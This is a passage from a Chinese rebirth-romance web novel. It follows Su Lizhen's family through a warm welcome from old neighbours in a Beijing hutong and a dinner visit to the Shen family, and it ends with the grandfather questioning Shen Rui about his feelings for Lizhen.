谢家的亲戚早就打听清楚了,谢芳芳所在的理工大学和首都大学的军训时间都是十二天。只不过谢芳芳开学的日期比苏丽珍提前,按理军训也要早一点。 所以没啥意外的话,她应该会比苏丽珍提早完成军训。 只是光谢芳芳一个人放假没有用啊,苏丽珍这边还是没时间跟她碰头。 苏丽珍只能劝她先耐心等一等,等到确定自己这边也有假期了,她保证第一时间去看她。 谢芳芳不乐意,可也没有别的办法,只能先这么约定了。 谢家母女走后,还剩下一个沈瑞。 沈瑞说他在上车前跟自己在首都的助手打过招呼,对方会开车来接自己,正好可以顺道送苏丽珍一家。 苏家人都委婉拒绝了。主要是他们这一大家子人太多了,一车肯定坐不下,与其麻烦人家跑两趟,不如他们自己坐公交车回去,还能顺便欣赏一下首都的街景。 沈瑞没法不同意,尽管他其实随时能安排两辆车将所有人都拉上,只是那样就未免太明显了。 他看了眼一直虎视眈眈盯着自己的德叔,到底把嘴边的话又咽了回去。 不过两边也约好了,苏丽珍一家先去苏厚德家里修整半天,等下午的时候再去拜访沈老太爷和沈瑞的父母。 等目送沈瑞坐上来接他的车离开后,苏厚德就领着苏丽珍一家四口加上已经多年没来首都的孟知祥一起,坐上了回家的公交车。 苏家人好奇地望着车外的风景,直觉首都不亏是首都。 放眼望去,四处都是宽敞整洁的柏油路。来来往往大多数人都骑着自行车,其中还不乏许多洋气的小轿车。 道路两边栽种了很多绿植;透过这些整齐划一的绿树,能看到远远近近错落有致的建筑物,既有古色古香的牌楼,也有现代化的气派楼房;街头巷尾的公共墙壁上还画了一幅幅精美的城市宣传画。 大家都目不转睛地欣赏这些时髦、美丽的街景,连苏厚德都忍不住感慨,两年的时间,首都的变化可着实不小。 坐了将近二十分钟公交,一行人下车后又步行了五分钟,很快就进入了苏厚德家所在的兴华胡同。 苏厚德家很好找,进了胡同正数第三家就到了。 两辈子第一次来苏爷爷的家,苏丽珍心里还有些激动,忍不住抬头细细打量。 苏爷爷的家就是那种本地典型的老胡同青砖灰瓦房,大门也是已经褪色成红褐色的老式木门。 单从外面看,这胡同里家家都差不多。 只不过,苏爷爷家门前还有一棵高大茂盛的银杏树。 如今已至初秋,北方的早晚凉意渐浓,这棵银杏树碧绿的枝叶间也开始染上点点金黄。 苏丽珍知道这棵树,上辈子苏爷爷常跟她提起。 这棵树在他和妻子刚搬到这里的时候就有了。只是那时候,它还只是一棵不起眼的小树苗。 后来年复一年,小树苗长成了参天大树。它看着他欣喜地迎接儿子的出生,看着他艰难地照料生病的妻子,到最后又默默陪着他送走一个又一个的骨肉至亲。 苏爷爷给这棵树起名叫“老伙计”。 在他决定出国去找儿子的那年初秋,明明天气还很暖和,但是“老家伙”满树的叶子却一夜间凋零了大半。 如今,她终于能亲眼看看这位“老伙计”了。 站在树前,她忍不住伸手轻抚它粗壮的树干。 她在心里默默道:“感谢您上辈子陪着苏爷爷……虽然这辈子不一样了,但也请您继续守护他们。” 一阵风吹过,满树茂密的银杏叶飒飒作响,似是在回应她的心声。 苏丽珍捡起一片正好落在她怀中的树叶,雪白的脸庞上不由绽放出一抹微笑,轻声道:“谢谢。” 苏厚德翻出钥匙将房门打开,扭头看见苏丽珍在瞧这棵树,不禁笑呵呵道:“珍珍啊,这棵树在我们家可是有年头了,我还给它起了个名字,叫‘老伙计’!” 苏丽珍刚要接话,就听身后有人惊喜道:“哎呀,这是苏老哥回来了?” 众人循声望去,就见身后正站着一对拎着菜篮子的老两口。 苏厚德显然认识两人,赶忙高兴地上前道:“老王、老李,是我,我回来了!” 老王头乐得直拍大腿:“苏老哥,你可回来了!你这一走两年多,可把我们大伙儿惦记坏了。你这房子、你这棵树,我们大伙儿每隔一段日子就过来看看,都给你经管得好好的!就想着等哪天你回来了,还跟以前一个样!” 苏厚德一边道谢、一边乐呵呵道:“我都看出来了!我看我那锁眼上抿了机油,‘老伙计’也精精神神的,可见你们平日里没少费心。” 老王太太就笑道:“苏老哥,你还不知道他!让他干点活儿,那嘴上就恨不得安个喇叭,非得嚷嚷地满大街都知道。” 老王头被说了也不生气,反而笑哈哈道:t“还真叫你说着了,我今儿还真就得安一回喇叭。”话落,就伸头四下喊起来,“哎,街坊们快出来看看,老苏回来了!” 这一嗓子过后,这条胡同左邻右舍的人很快应声而动。 “哎呀,真是老苏回来了!” “我刚刚在院子里好像听见老苏他们家门前有动静,我还以为是过路的,没想到真是老苏回来了!” “芽芽都长这么大了,快成大姑娘了!” 久未见面的街坊四邻们很快就把苏厚德和芽芽包围住,大家你一嘴、我一嘴地互相问候、打听,场面一度热闹得不行。 苏小麦忍不住跟苏丽珍感慨:“咱们苏爷爷的人缘真好。” 这些老邻居们不但热情,记性也很好,还有人认出了孟知祥。 当初苏厚德决定留在凤城定居,芽芽和孟知祥各占了一半原因。但是为了保护芽芽,大家决定对外只说是为了照顾孟知祥。 街坊邻居们也都知道苏家的事,知道老苏头的姐姐一家命途多舛,如今也只剩下这么一个姐夫了。 要不是为了这个孤苦伶仃的姐夫,老苏也不会大老远跑去东北。 当年,老苏的姐姐夫妻俩时常来看望老苏一家。在他们记忆里,这对夫妻不仅长相气质出众,而且还是大学里的老师,跟总是围着锅台转的老苏头没有一点像的地方。 可如今再看孟知祥,当年斯文俊秀的青年教授如今却满头白发,比同龄人更显苍老,实在叫人唏嘘。 大家又主动跟孟知祥说了会儿话。 孟知祥因为这两年常在苏家火锅店里待着的缘故,心境也开阔了不少,面对众人关切中难掩同情的眼神,他也笑着回应了几句。 到最后,邻居们才注意一直在旁边笑吟吟看着他们说话的苏丽珍一家四口。 等听完苏厚德介绍,那位老王头又忍不住大着嗓门道:“原来这就是苏老哥你在那边认得干儿子啊!哎呦,这小子看着不错,眼神清正,是个忠厚人,老苏你有眼光!” 其他人也跟着纷纷夸赞道:“老苏有福气啊,多了一个儿子,也多了一个人孝顺!” “那这俩闺女就是老苏的干孙女吧?看看这两个孩子长得多水灵!” 大伙儿你一言、我一语的,很快就跟苏丽珍一家熟络起来。 就这么又说了一会儿话后,人群里一个头发半白、面容略微有点严肃的老太太就适时道:“行了,我看老苏他们一家才下火车,这会儿身子骨肯定还累得慌。大伙儿说几句,差不多就得了。让他们先回去好好歇歇,回头咱再找他们聊。” 众人觉得有理,一时都收了嘴,纷纷跟苏厚德约好,等晚些时间再来看他,之后便各自散去了。 最后,老王头老两口加上刚刚劝街坊们回去的那位李老太太三人则主动要留下,想帮苏厚德他们先把屋子拾掇一下,好方便休息。 苏厚德没答应。 他们这么多人,哪里需要再劳烦邻居们给收拾。 何况他刚刚都看了,这屋子因为大伙儿照看得精细,根本不怎么脏,屋里只有一层薄灰,简单打扫一下就好了。 三人见他坚持,也就作罢了。 等老邻居们离开后,苏卫华他们也不让苏厚德和孟知祥伸手,这点活,夫妻俩加上两个闺女四个人完全够用。 而且不知道是不是因为之前跟那些老邻居说话有些触景生情,孟知祥的精神明显差了许多。 李翠英赶忙从屋里收拾出一把椅子,搬到院子里朝阳的窗根下,让他先坐下歇一歇。正好今天太阳不错,晒晒太阳总能让人心情好一点。 苏卫华也给苏厚德搬出来一把椅子。 苏厚德挨着自家姐夫坐下,本想宽慰他两句,但是孟知祥却笑着主动朝他摆了摆手,示意自己没事。 “厚德,放心吧,我没那么脆弱。你去看看孩子们吧,不用在这儿陪我。” 苏厚德看他闭上眼睛养神,自己在椅子上坐了一会儿就坐不住了,打算过去跟苏卫华他们一起干活。 苏丽珍看他闲不住,就给他出主意:“爷爷,咱们不是给您这些邻居朋友带了特产吗?您要是实在不想休息,就去把这些特产给大伙儿分分吧。” 他们这次出门带的东西可不少,不过除了苏丽珍开学要用的东西外,大多数还是给亲戚朋友们带的特产。 毕竟难得回来一次,苏厚德也确实很惦记这边的老朋友们。 苏厚德一听顿时来了精神,兴致勃勃地从屋里拽出一个大提包,将里头一份份特产拿出来。 这些特产主要是苏丽珍自家公司出产的卤味和一部分这边很难买到的山货。 苏厚德把这些东西按照要送的家数分好,其中关系更亲近的王、李两家,礼头更重三分,然后就开始挨家送礼物去了。 苏丽珍一边干活、一边打量她苏爷爷的这个家。 房子不算太宽敞,两间半的正房拆成两间屋子,分两个门。 稍大的一间,进门就是个客厅,东边还单独隔出了一间小卧室,后头是半间窄窄的厨房。 另外一间屋没像旁边主屋那样,一屋分隔成三室,这里就是单纯一间卧室,所以十分宽敞。里面镜台床柜一应俱全,应该是当初苏振东和前妻的房间。 这房子虽然普通,但是对于寻常老百姓来说,能在寸土寸金的首都有这样一份家业已经很不错了。 因为上辈子苏卫华被收回机械厂的房子,他们一家度过一段居无定所的日子,所以苏丽珍对房子有一种执念。 她重生回来最初的目标,就是要挣钱,然后置产,尽可能给家人更多的保障。 这个“产”主要就是房产。 只是这两年她虽然挣到了不少钱,但是食品公司和养殖基地同样也填进去不少钱,加上这个年月房子本身买卖的也不多,所以她最初置产投资的打算也被迫搁置了。 这对她来说,多少算是一个遗憾。 不过现在她来了首都,虽然今后肯定要回凤城,但是怎么说她也会留在这里四年。加上她对自家的“珍珍”有信心,未来的分公司未尝不会开到这边。 既然如此,同样买房投资,那首都的房子肯定比凤城的升值空间更大。 尤其她上辈子去米国时,曾听路上不少同伴说起过,当时为了赶上这波出国热潮,很多人卖掉了自己的房子来换取出国的费用。 印象里,明、后两年会是这一波出国浪潮兴起的一个小高峰,说不定到时候柳暗花明,她能在这边买到适合投资的房子。 第167章 等苏厚德送完礼物回来,苏卫华夫妻带着三个孩子已经把屋子收拾得差不多了。 一家人坐下休息了一阵儿,眼看快到饭点了,苏丽珍记得来时下车的地方正好有一家国营饭店,就提议中午直接去店里吃一口。 其他人也没意见。毕竟他们才刚回来,这会儿家里什么也没有,也没法开火。 没想到一家人正准备出门的时候,王家老两口就端着一大盆炸酱面送过来了。 “来、来,苏老哥,知道你们不方便开火,我们俩现做的。‘上车饺子下车面’,你们赶紧趁热吃!” 这一大盆面,分量足足的,面是手擀的,酱是现炸的。王老太太手里还单独端了一个盆,里头整整齐齐码着豆芽、青豆和切得细细的黄瓜丝、萝卜丝等好几种菜码,一看就费了不少心思。 这放在普通人家里就是好伙食了,何况又是能供他们这么多人吃的份量。 苏厚德赶忙拒绝:“这不行!你们平时帮我看家已经够麻烦了,哪能我一回来就劳动你们这么破费,我这不成吃冤家了?你们赶紧拿回去,留着给孩子们吃吧!” 老王头直接白了他一眼:“给你,你就拿着!这要是过去吃定额那会儿,你就是想让我给你送,我也送不了!现在不一样了,都改革开放了,自由市场里的大米白面随时都能买着,谁家也不差这点东西!”说罢,就把手里的面盆硬塞进苏厚德手里。 老王太太也笑呵呵道:“是啊,苏老哥。您呀,就安生吃着,甭想那么多!我家老王说得对,现在日子好过了,这点东西可败不了我们家底子。要我说,我们不知道你们今天回来,要不然高低得多准备些好的,可不能光拿面条凑数。” 老两口盛情满满,苏厚德再推辞就不好了。 “那就谢谢你们两口子了!不过面条可不是凑数,咱老京城的炸酱面绝对是一绝。再说要准t备也是我准备,回头等我缓缓,我要好好预备两桌,到时候专门招待咱们这些老街坊。” 老王头一听这话,两只眼睛立马就亮了:“那敢情好了!苏老哥,您不在这两年,我们大伙儿可忒想您那手艺了。去年隔壁胡同老赵大姐她们家孙子办满月,找了好几个厨子都不满意。要说还得是您呐,那手艺能镇得住场儿。” 苏厚德笑呵呵道:“好说好说,这回保证让你们满意。” 送走了王家老两口,国营饭店也不用去了,大家坐下准备吃面。谁知,这时先前那位老李太太也给他们送吃的来了。 老太太端来两盘菜,一盘油煎小鱼干和一碗豆腐炖五花肉。 她虽然面容有点严肃,但说起话来却十分亲切:“我知道老王他们两口子给你们做炸酱面了。这四街八巷的,炸酱面做得好吃的,除了你家,也就他们家,我是比不过的。好在这两样菜我做得还成,正好给你们添个菜。” 而老李太太之后,又有好几家给他们送吃的过来。 一样、一样,很快就把家里那张吃饭的圆桌给摆满了。 苏卫华看着这一桌堪称丰盛的饭菜,不由笑道:“今天我们沾了爸的光,瞧这些好吃的,这可比去国营饭店还好呢!” 国营饭店自然是比不过的,毕竟这些饭菜也都是普普通通家常菜,邻居们的手艺也很难跟苏厚德相比,但这饭菜里自有一股浓浓的人情味儿,吃上一口,连心尖都透着热乎劲儿。 吃了一顿丰盛的大餐后,一家人小憩了片刻,到下午一点多就准备出发去沈家。 沈家所在的大院距离苏厚德家不算太远,坐十五分钟公交,再步行个三、五分钟就到了。 一行人老远就看见大院门口站岗的警卫,还没等走到跟前儿,就见一个穿着绿军装的小伙子从警卫室里小跑出来。 小伙子一见着苏厚德就高兴地上前道:“德叔,您来了!这两年,您身体怎么样?” 苏厚德也笑呵呵跟他打招呼:“我都挺好的。小丁啊,我看你这个子好像又长了,看着比我走那会儿结实了不少!” 小丁憨厚一笑,有些不好意思道:“您知道的,首长一家都对我好,赵哥也总是处处照顾我,我这一天吃的多、干的少,可不就越长越壮嘛!” 苏厚德不由哈哈直笑,然后又跟苏丽珍一家介绍,这位小丁同志原来是沈老爷子身边两个警卫员中的一个。 小丁年轻,今年才25岁,到沈老爷子身边还不到四年;另外一个警卫员姓赵,已经跟了沈老爷子九年了。 双方互相打过招呼后,小丁就赶忙道:“德叔,咱们赶快进去吧!首长从中午到现在已经问了您好多次了,就盼着您能早点来呢!” 苏厚德哪里有不应的,毕竟他也十分惦记自己的老首长。 一行人顺利进了大院,穿过整体环境优美静谧的院区,很快就到了沈家。 这里的住宅样式基本相同,沈家也是一栋二层楼的独门院落, 这会儿院门大敞,沈瑞正站在门口等候他们。 苏丽珍看着前面那站在黑色雕花铁栅门前的俊秀男人,此时的他没有像每次见面那样,一身正装、头发梳得整齐板正。现在的他只穿着一身简单的白衬衫和一条略显宽松的浅卡其色长裤,领口微敞,头发也有些松散地垂在额前、耳际,呈现出一种别样的慵懒随意。 这还是苏丽珍第一次看见私下里这么放松悠闲的沈瑞。 不过她却觉得有点奇怪,看对方这样,倒像是在家里待了好一阵。 她有些不确定地问道:“沈大哥,你不是急着赶回来处理一些要紧事吗?我们没耽误你吧?” 她没好意思问,对方难不成是为了等他们,所以特地早早赶回来的? 虽说他们是第一次来沈家拜访,但也不至于让沈瑞放下手头的重要事情,急赶着回来尽“地主之谊”,这反倒让她过意不去了。 沈瑞神情微顿,确实把这茬忘了。不过他向来沉得住气,面上的笑容丝毫不变,十分自然地解释道:“上午过去已经处理了一部分,剩下一些事下午办不了,只能等明天,我索性就先回来了。” 原来如此,苏丽珍点了点头。 她自己也是开公司的人,知道有些事情千头万绪,从上到下各部门要打交道的尤其不少。所以有时即便你很急,也得考虑对方的时间。 得益于沈瑞两辈子成功人士的超高印象,撇开了上辈子那些糟糕情绪,苏丽珍心里其实一直很佩服和羡慕对方,所以这会儿不自觉地就帮对方补齐了缘由,半点都没怀疑。 只有一旁的苏厚德心里直翻白眼。 小子,你就装吧,我看你哪天装过头咋办! 他们说话的工夫,屋里早就等得不耐烦的沈老爷子急急就走了出来。 “厚德!” 苏厚德也三两步迎了上去:“老首长!” 沈老爷子虽然年近八十,满头白发,但是精神矍铄,身子骨还很硬朗。 他一双大手紧紧握住苏厚德的手,先是仔细打量了对方两遍,见自己这位老伙计在阔别两年后整体状态还不错,不由彻底放下心来,高兴道:“厚德,你可算是回来了,我这两年最惦记的就是你。” 一句话让苏厚德眼眶微红:“老首长,我、我又让您操心了。” 沈老爷子立马板起了脸:“说的什么废话!你一日是我的兵,一辈子都归我管,这不是天经地义的嘛!” 他又看了看紧挨着苏厚德站着的芽芽,芽芽也上前,软糯糯地开口:“沈爷爷。” “哎!”沈老爷子乐呵呵地应了一声,抬手轻轻摸了摸女孩的发顶,一脸欣慰道:“这孩子看着变化不小,果然东北的黑土地养人啊!好、真好!” 说着,他又拍了拍苏厚德肩膀:“厚德,难为你了。” 苏厚德的眼眶更红了。 沈老爷子不由一脸嫌弃:“行了,别动不动就婆婆妈妈的,咱是大老爷儿们,得稳住!” 说完,就将哭笑不得的苏厚德扒拉到一边,主动跟一旁的孟知祥握了握手:“孟老弟!” 沈家对孟家是有恩情的。当初孟知祥一家三口能被一起下放到条件宽松的凤城市太平庄,且一直有人暗中照应,就是沈家从中周旋。 所以孟知祥是很感激沈老的,他冲着沈老爷子深深鞠了一躬。 “老首长,当年谢谢您。” 沈老爷子扶着他的臂膀,让他不要多礼,看着他眼底的哀恸,心里也有些不好受。 气氛一度有些低迷,还是沈瑞主动上前道:“爷爷,您不是一直想跟苏叔他们见面吗?人家都站这儿好半天了,您还一句招呼没打呢!” “看我这记性!”沈老爷子一拍脑门,赶紧把目光投向苏卫华夫妻,语气十分亲切:“你们就是卫华和翠英吧!” 苏卫华夫妻答应了一声,也赶忙问好。 沈老爷子又看向夫妻俩旁边两个漂亮的女娃娃,带着几分玩笑道:“等等,你们先别说啊,让我先猜猜这小姐俩谁是谁!” “嗯,这个像雪花一样的小姑娘是珍珍,这个大眼睛亮晶晶的小姑娘是小麦,对不对?” 苏丽珍和苏小麦都笑了起来。 苏丽珍更是朝着沈老爷子比了个大拇指:“沈爷爷,您真厉害,猜的一点没错!” 少见的活泼样子跟她平日里同沈老爷子通电话时一模一样。 一听她这语气,沈老爷子也知道自己没认错人,当即哈哈大笑道:“是吧!我就说,咱们也是通了两年电话的‘话友’了,我肯定不会认错!” 其他人也忍不住笑了起来。 所有人都碰过面了,沈老爷子当即招呼大家进屋。 沈家这会儿只有沈老爷子自己在家。 沈老爷子早年参加革命,当时因为叛徒告密,处境一度十分凶险。沈老爷子的妻子在惊惧忧虑中生下一子,结果伤了身子,因此两人一生也只有这么一个孩子,沈老的妻子也走得很早。 沈老爷子的儿子、儿媳,也就是沈瑞的父母都在科研机构工作,本来去年已经退休,但是因为所在单位太忙今年又被返聘了。 沈父和沈母育有三子,沈家老大从政,二儿子夫妻俩都在部队。 沈瑞的大哥、二哥跟他年龄相差很大,两个哥哥都已过不惑之年。其中沈瑞大哥有两个儿子,大儿子也在部队;小儿子今年刚上高中,平时寄宿,只礼拜天那天才回来。 沈瑞二哥、二嫂有一儿、一女,女儿才三岁,大儿子就是沈哲。沈哲和齐秀婷的学校正t好昨天开学,所以这会儿也不在家。 等众人进屋落座后,沈老爷子就一叠声地指使沈瑞端茶倒水,两个警卫员也被他打发去找零食出来给几个小姑娘吃。 警卫员们很快就找出了几个装满零食的老式木制攒盒。每个盒子里装的小吃都不一样,有装着松子、榛子等各种坚果的,有装了各式精制糖果和巧克力的,还有塞满了好几种果干、果脯的,种类十分丰富。 沈老爷子把这些木盒使劲往苏丽珍她们跟前推:“来、来,娃娃们,快尝尝,这些小东西味道都不错的!” 苏丽珍也不跟他客气,当先捡起一粒晶莹剔透的杏脯塞进嘴里品尝。 嗯,酸酸甜甜,肉质厚软,味道格外好,比她之前吃过的所有杏肉脯都好吃。 她忍不住照实点评了一句。 沈老爷子听得直乐:“哎呀,我也最喜欢吃这个杏肉脯!丫头,看来咱爷儿俩眼光一样呢!” 有苏丽珍带着,苏小麦和芽芽也不再那么拘谨,各自从攒盒里挑出喜欢的东西品尝。 沈老爷子在旁边看着小姑娘们凑在一起吃东西的样子,脸上的笑意更浓了。 沈老爷子是个十分热情的人,身上一点架子也没有,一直拉着苏卫华夫妻和孟知祥,打听他们在凤城的情况。 老人家心也很细,即便之前只是通电话,但许多事情也都记在心里。 他主动问起苏卫华的心脏病,问他有没有去找沈瑞的二嫂看过。 得知已经去过后,他还一再叮嘱道:“这个病要定期检查,要是有什么不舒服的一定去找小二媳妇,千万别不好意思。她在这方面是权威,很有发言权的。” 又打听苏振东,听说他这两年变化很大,尤其从陪着苏丽珍一起筹建新公司,到如今全权帮助管理公司事宜,整个人状态极佳,跟两年前简直判若两人。 沈老爷子很高兴,也很欣慰,忍不住对苏厚德道:“厚德,你得好好感谢卫华他们一家。振东能有今天全靠了他们,老话讲一句‘再造之恩’也不为过。” 苏厚德深以为然:“不光是振东,连我这个糟老头子也是借了大光的。” 苏卫华夫妻忙道:“干爸,沈大伯,你们言重了,我们才是沾了光的人。当初要不是机缘巧合得了干爸的书,我们哪里能有今天。” 这时苏丽珍忍不住凑趣道:“对、对,所以咱们是‘不是一家人不进一家门’。既然合该是一家人,那就谁也别跟谁客气。我呢,打算继续给振东叔增加工作量。” “还有爷爷,您技术好,我那公司里新产品开发和调试还指望着您和我妈呢!我爸和姑爷爷他们负责后勤,尽量配合咱们。就连芽芽小朋友,都得给我好好上学,等将来考上大学,毕业了一样来我公司给我添砖加瓦。反正你们一个都不能少!” 后面这通“宣言”直接把所有人都给逗笑了。 沈老爷子更是拍着巴掌大笑道:“哎呦,看不出,你这女娃娃还是个‘霸道’做派!” “不过你沈爷爷我啊,就稀罕你这样的性子,有点像我年轻时候那会儿!” 沈瑞在一旁听得唇角微翘。 他单知道,爷爷私下跟她的关系不错,这一老一少虽然只是通过电话认识,但性子却格外投契。 如今见面了更是比他预想的还要好。 甚至一向喜欢隐藏内心的她在爷爷面前,会少有地表现出直率和不设防来。 这对他来说是件好事。 起码又多了一种能靠近她的办法。 嗯,不过这之前,他得先想办法争取到爷爷的支持。 第168章 下午四点钟不到,沈父、沈母和沈家大嫂就陆续回来了。 苏丽珍一家这才知道,早在中午的时候,沈老爷子就挨个给儿子、儿媳和大孙子打电话,催促他们早点回家。 沈父、沈母属于返聘人员,要求不那么严格,只要完成当日的工作任务,提前请一会儿假下班也没啥问题。 沈家大嫂在首都图书馆工作,事情不多,所以也直接请假提早回来了。 倒是沈家大哥,公务繁忙,别说提早回来,通常情况能正点下班就不错了。 不说沈瑞,比起经常通电话的沈老爷子,苏丽珍一家其实跟在首都的沈家其他人还是比较陌生的。 好在沈父、沈母满身书卷气,说起话来也亲切温和,看上去并不难相处。 沈家大嫂生得十分美丽,一颦一笑尤其好看,是那种典型的温婉动人的古典美人。据说她跟沈家大哥同岁,今年也有42了,但看上去就像三十出头。 她不但长得好,声音也温温柔柔,特别好听,以至于包括苏丽珍在内的三个女孩子听她说话的时候,总忍不住眼睛睁得大大的,盯着她看。 沈母在旁边看了,不由“噗嗤”笑出了声,转头对苏家人道:“清苓最招孩子们喜欢,我那三岁的小孙女自从会认人了,每次一回来,就喜欢往她跟前凑,非得她太爷爷拿糖才能给哄回来。” 沈家大嫂方清苓闻言也笑道:“我也喜欢小孩,尤其是女孩,只可惜我自己一个也没有。” 她说着,还忍不住摸了摸芽芽乌黑的发辫。 这个话题显然也让沈母遗憾:“你跟我一样,没有女儿缘。” 她说着,又对李翠英道:“还是你好,有两个这么优秀的闺女,这才是有福气。” 说话间,时候也不早了,苏厚德难得回来,自然要亲自下厨,给自己的老首长做一顿爱吃的饭菜。 要是别的事也就罢了,这个事还真就非得苏厚德亲自出马。所以沈老爷子不但不拦着,还把沈父也给直接撵去了厨房,让他去打下手。 沈老爷子别看是带兵打仗的军人,但像是洗衣做饭这些家务事也样样做得不错。 在他的影响下,沈家的子孙基本个个“上得厅堂,下得厨房”。 像沈父做菜,就比沈母好吃。 李翠英也想去帮忙,沈家人自然没让。 沈家其实是有做饭师傅的。这人跟苏厚德的关系还很好,因为以前经常得苏厚德指点,厨艺由此大大提升,所以他也把苏厚德当作是半个师父。 两人关系不错,加上又都是熟手,所以做这一顿饭绰绰有余,其实连沈父都用不上 但是沈老爷子却十分坚持。 苏丽珍在一旁看着,不知道是不是她多心,总觉得沈父在面对苏爷爷的时候,有些底气不足。 她倏地就想起从前沈瑞告诉她的,当初李明翰(苏振东情敌)所在的李家曾托了沈父的老友主动求情,希望沈瑞能抬抬手,多少给李家一个台阶下。 沈瑞考虑后,最终答应了这件事。 苏丽珍记得很清楚,这事从发生到结束,那会儿谁都没敢告诉沈老爷子。 而这种事虽然说起来不好听,但严格来说,一不属于犯罪,二没有涉及什么敏感问题,所以沈老爷子当时就真的被瞒住了。 等他老人家后来知道了,事情也已经尘埃落定。 再说苏家这边,关于沈父求情的事,沈瑞也没有一直瞒着苏厚德父子。事情了结没多久,他就把李家托人找到沈父,以及自己当时的考量全部告诉了父子二人。 当时,苏家父子的情绪已经平稳下来,能够用更理智客观的心态去回看整件事,自然也就明白沈瑞的做法还是出于为他们考虑。 加上那时为着苏振东这事,沈瑞毕竟前前后后帮了很多忙。苏厚德他们不是没心没肺的人,对沈瑞、对沈家只有感激,绝不会因为知道沈父替李家说情就心生嫌隙。 再到后来,沈老爷子知道了这件事,是第一时间就给苏厚德打了电话,语气中充满了歉意,更让爷儿俩心里惭愧。 毕竟说到底,沈家不欠苏家什么,反倒是这些年,是沈家一直在照拂和帮衬苏家。所以但凡有点良心的人,都不该因此生出怨怼。 苏丽珍本也以为这事就算过去了,但现在看来,她很可能低估了沈老爷子对苏爷爷的维护。 果然,之后在沈老爷子带着她们几个去二楼书房看旧相册的时候,沈瑞寻了个空档告诉了她当初那件事的后续,更证实了她的猜测。 原来,那时沈老爷子知道实情后一度非常生气,对给李家人求情的沈父大发雷霆,过后更是直接把人撵去了单位。 沈父直到两个月后才被允许进家门。 后来李家人来首都,一度几次登门拜访,沈老爷子连面都没露,将对这一家子的反感t摆在了台面上,可以说一点情面都没留。 沈瑞告诉苏丽珍,这也就是沈老爷子自己是个公私分明的人,要不然对于李家,就不是单纯的不留情面这么简单了。 反观李家,实在脸皮奇厚,当时甚至妄图借由沈父的路子跟他们沈家攀交情。 这也说明了当初沈瑞的那些顾虑不是杞人忧天。 李家绝对是不择手段的人家。跟这种小人死磕,逼得他狗急跳墙,沈家是无所谓,但是势单力薄的苏爷爷一家就不好说了。 等真出了什么事,亡羊补牢也没有意义了。 苏丽珍知道了这些来龙去脉,自然也就明白了沈老爷子为什么非得把沈父折腾到厨房去给苏爷爷打下手,大抵是想让沈父好好给苏爷爷赔个不是。 她不禁暗自感慨,沈老爷子对苏爷爷真的没话说。 临近开饭的时候,沈家大哥才赶回来。 双方自然要打招呼认识一下。 苏丽珍就留意到,再次跟着苏爷爷一起从厨房出来的沈父神情自然了不少,之前那点心虚和不自在也都消失了。 想来是跟苏爷爷把话都说开了。 苏爷爷精心准备的晚餐十分丰盛,沈老爷子吃得开心又满足,更是一口气连吃了两碗米饭。要不是大伙儿使劲拦着,还想来第三碗。 吃完晚饭又说了会儿话,不知不觉就到了晚上七点多,苏家人婉拒了沈老爷子的再三挽留,告辞离开。 沈老亲自把他们一行人送到了大院门口,一直目送着沈瑞安排的车子载着他们走出老远才肯回去。 苏丽珍陪着苏厚德一起回头看,透过后车窗看着那站在路灯下的身影越来越远,直到完全看不清楚了才作罢。 看苏厚德一脸依依不舍的神情,苏丽珍不禁想起之前在书房看沈老的那些旧相册时,老爷子跟她说的话。 “我这一辈子受过两次致命伤,这两次受伤都是你苏爷爷守在我身边。他怕我挺不过去,每次都没黑、没白地守着我,眼睛都不敢眨一下,任谁劝都不好使。” “他总说他命硬,只有他在我身边守着,小鬼们才不敢来勾我的魂。” “珍珍啊,沈爷爷真的很感激你们全家。你苏爷爷这一生太难了,我现在看见他日子过得这么开心,真的特别高兴。” 苏丽珍伸手抱住身边老人的胳膊,将额头轻轻搭在对方的肩膀上。 她的举动立马换来老人关心地询问:“珍珍是不是累啦?好孩子,再坚持坚持,到家就能休息了。” 苏丽珍顺着对方的意思点了点头,惹得老人忍不住轻拍了拍她的手臂。 真好啊,这辈子不需要她的苏爷爷再“命硬”了,余生换她来陪伴和保护他老人家。 与苏丽珍这边的温馨不一样,沈家沈老爷子一进家门就立刻把沈瑞叫进了自己的书房。 沈老爷子大马金刀地坐在自己的圈椅上,神情严肃地盯着沈瑞道:“你今天的表现有点反常!你给我老实交代,你是不是又在打什么歪主意?” 沈瑞看着活像把他当敌/特审问的老祖父,一脸无奈。 “爷爷,看您说的,我今天有哪里表现的不对吗?怎么就反常了?” 沈老爷子却像立马抓住他的破绽一样,眼睛一亮:“哈哈,你小子没完全否认,看来你果真是在打歪主意!” 说着,他便露出思索的表情:“我得想想,你小子是在打谁的主意……” 老爷子皱着眉头,自顾自念叨:“肯定跟厚德他们一家没关系,那就是老苏家……嗯,你小子虽然鬼主意多,但也不至于去算计人家的家财。那不是图钱,就是图人……” 念着念着,他倏地想起什么,神情一顿,一脸不可思议地瞪着沈瑞:“你该不会是看上人家两个小姑娘了吧?” 见自家小孙子神情微顿,他立马意识到自己猜中了! 难怪,难怪这两年,这小子总是往凤城跑。起初他还当这小子是为了帮他照顾厚德,闹了半天,他是看上人家的姑娘了! 那是哪一个呢? 刚想到这个问题,老爷子脑海里蓦地闪过一张雪白的小脸,想到那孩子聪慧沉稳又大方能干的样子,心里很快就有了答案。 “是珍珍那孩子,对吧!” 沈瑞心里暗叹,果然姜还是老的辣,他只不过是稍微在老爷子面前露出一点端倪就被猜中了。 既然已经被爷爷发现,他自然不会否认,便点头承认道:“她是个很好的女孩。德叔就不说了,我看得出爷爷也很喜欢她。” 沈老爷子听他这么说,不由目光微闪。他确实很喜欢珍珍这孩子,要是这孩子能来当他的孙媳妇,那他肯定高兴死了! 只不过这孩子的年纪不大合适,还是有点太小了。 换做是他有这么个可人的小孙女,一想到孩子才刚上大学,就有人惦记来拱白菜,那他也不乐意啊! 于是,他狠下心,对着沈瑞板起了脸:“不行!人家闺女今年才19,你多大了?27岁的老帮菜了!你大人家那么多岁数,你咋好意思的你!” 沈27岁老帮菜瑞:…… 他深吸一口气,试图跟他爷爷讲道理。 “爷爷,我不否认这一点,我的年龄确实比对方大一些。但据我对珍珍性格的了解,对她来说,年龄这些外在因素远不如个人的品格和能力重要。” “我很肯定,如果她不接受我,可能是她不喜欢我或者别的什么原因,但唯独不会是我们俩的年龄差这件事。” 听他这么一说,沈老爷子就觉得好像也有点道理。 那边沈瑞看出他动摇,便不慌不忙地继续道:“爷爷,您是了解我的,我一直都很清楚自己想要的是什么。 “从确定自己被她吸引的那一刻起,我就不想放手了。” “她现在还小,我会先等到她完成学业……或者在这个过程中她足够成熟到可以确认自己的感情,能够接受或者拒绝我。” 